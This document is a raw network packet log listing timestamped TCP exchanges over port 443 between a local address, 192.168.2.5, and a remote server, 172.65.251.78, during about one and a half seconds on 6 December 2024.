Dec 6, 2024 15:51:53.785350084 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:53.785402060 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:53.785413027 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:53.785454035 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:53.792151928 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:53.792171955 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:53.792259932 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:53.792268038 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:53.792314053 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:53.798537016 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:53.798556089 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:53.798662901 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:53.798670053 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:53.798717022 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:53.805509090 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:53.805529118 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:53.805617094 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:53.805628061 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:53.805665016 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:53.812290907 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:53.812309027 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:53.812439919 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:53.812452078 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:53.812491894 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:53.958590984 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:53.958616972 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:53.958744049 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:53.958772898 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:53.958821058 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:53.964430094 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:53.964447975 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:53.964554071 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:53.964584112 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:53.964621067 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:53.971363068 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:53.971385002 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:53.971501112 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:53.971533060 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:53.971580982 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:53.978152037 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:53.978182077 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:53.978311062 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:53.978341103 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:53.978380919 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:53.984705925 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:53.984724045 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:53.984831095 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:53.984859943 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:53.984896898 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:53.991297007 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:53.991332054 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:53.991410971 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:53.991441965 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:53.991461992 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:53.991489887 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:53.997441053 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:53.997466087 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:53.997587919 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:53.997612000 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:53.997649908 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.004252911 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.004301071 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.004405022 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.004442930 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.004491091 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.151021957 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.151047945 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.151091099 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.151112080 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.151129007 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.151145935 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.158133030 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.158159018 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.158200979 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.158221006 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.158242941 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.158250093 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.164633989 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.164659023 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.164702892 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.164731979 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.164751053 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.164767027 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.171578884 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.171603918 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.171644926 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.171669960 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.171684980 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.171705008 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.177788973 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.177819967 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.177854061 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.177867889 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.177903891 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.184082985 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.184108019 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.184180021 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.184211016 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.184247017 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.190958977 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.190990925 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.191067934 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.191096067 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.191160917 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.197634935 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.197665930 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.197748899 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.197776079 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.197834969 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.348989010 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.349015951 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.349174023 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.349200964 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.349257946 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.355061054 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.355079889 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.355187893 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.355202913 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.355237007 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.361824989 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.361846924 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.361953020 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.361964941 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.362005949 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.368643999 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.368664980 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.368746996 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.368757010 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.368814945 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.374895096 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.374916077 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.374990940 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.375001907 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.375040054 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.381833076 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.381854057 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.381953001 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.381966114 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.382011890 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.387904882 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.387928009 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.388014078 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.388024092 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.388065100 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.394666910 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.394685984 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.394747019 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.394753933 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.394787073 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.541454077 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.541479111 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.541620970 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.541632891 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.541666985 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.548599005 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.548621893 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.548697948 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.548705101 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.548753023 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.554424047 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.554450989 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.554508924 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.554514885 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.554538965 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.554598093 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.561321974 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.561347008 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.561429977 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.561429977 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.561435938 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.561491966 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.567538977 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.567575932 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.567605972 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.567610979 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.567661047 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.573879004 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.573908091 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.573991060 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.573996067 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.574101925 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.580600977 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.580634117 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.580741882 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.580748081 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.580790043 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.587330103 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.587352037 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.587399006 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.587404013 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.587451935 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.733814955 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.733845949 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.733896017 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.733908892 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.733958960 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.733972073 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.740786076 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.740816116 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.740880013 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.740885973 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.740909100 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.740926981 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.747119904 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.747139931 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.747189045 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.747199059 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.747258902 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.753597021 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.753621101 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.753691912 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.753699064 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.753710032 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.753767014 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.760425091 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.760445118 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.760504961 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.760512114 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.760544062 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.760556936 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.766797066 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.766818047 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.766879082 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.766884089 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.766906977 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.766937017 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.773703098 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.773722887 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.773772955 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.773785114 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.773803949 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.773843050 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.779735088 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.779757977 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.779795885 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.779810905 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.779848099 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.779884100 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.931535006 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.931560040 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.931718111 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.931734085 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.931936026 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.936326981 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.936347008 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.936414957 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.936422110 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.936460972 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.936472893 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.940586090 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.940612078 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.940681934 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.940690041 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.940707922 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.940795898 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.946753025 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.946774960 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.946887970 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.946894884 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.947061062 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.953305006 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.953325987 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.953396082 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.953402042 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.953502893 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.959920883 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.959944010 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.959990978 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.959995985 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.960058928 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.966613054 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.966634035 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.966684103 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.966703892 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.966722012 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.966734886 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.972757101 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.972775936 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.972882986 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:54.972902060 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:54.972943068 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.118977070 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.119003057 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.119065046 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.119079113 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.119098902 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.119143963 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.124968052 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.124991894 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.125075102 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.125083923 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.125145912 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.132463932 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.132493019 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.132546902 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.132558107 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.132646084 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.138622999 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.138648987 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.138705969 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.138719082 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.138737917 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.138756990 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.145047903 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.145070076 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.145126104 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.145139933 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.145154953 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.145204067 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.152075052 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.152097940 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.152260065 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.152260065 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.152275085 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.152312040 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.158230066 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.158252954 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.158317089 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.158332109 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.158359051 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.158401966 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.164887905 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.164913893 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.164982080 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.164994955 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.165030956 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.165076017 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.311084032 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.311106920 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.311163902 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.311182976 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.311213970 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.311232090 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.317795038 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.317814112 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.317854881 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.317862034 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.317888975 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.317910910 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.324657917 CET	443	49705	172.65.251.78	192.168.2.5
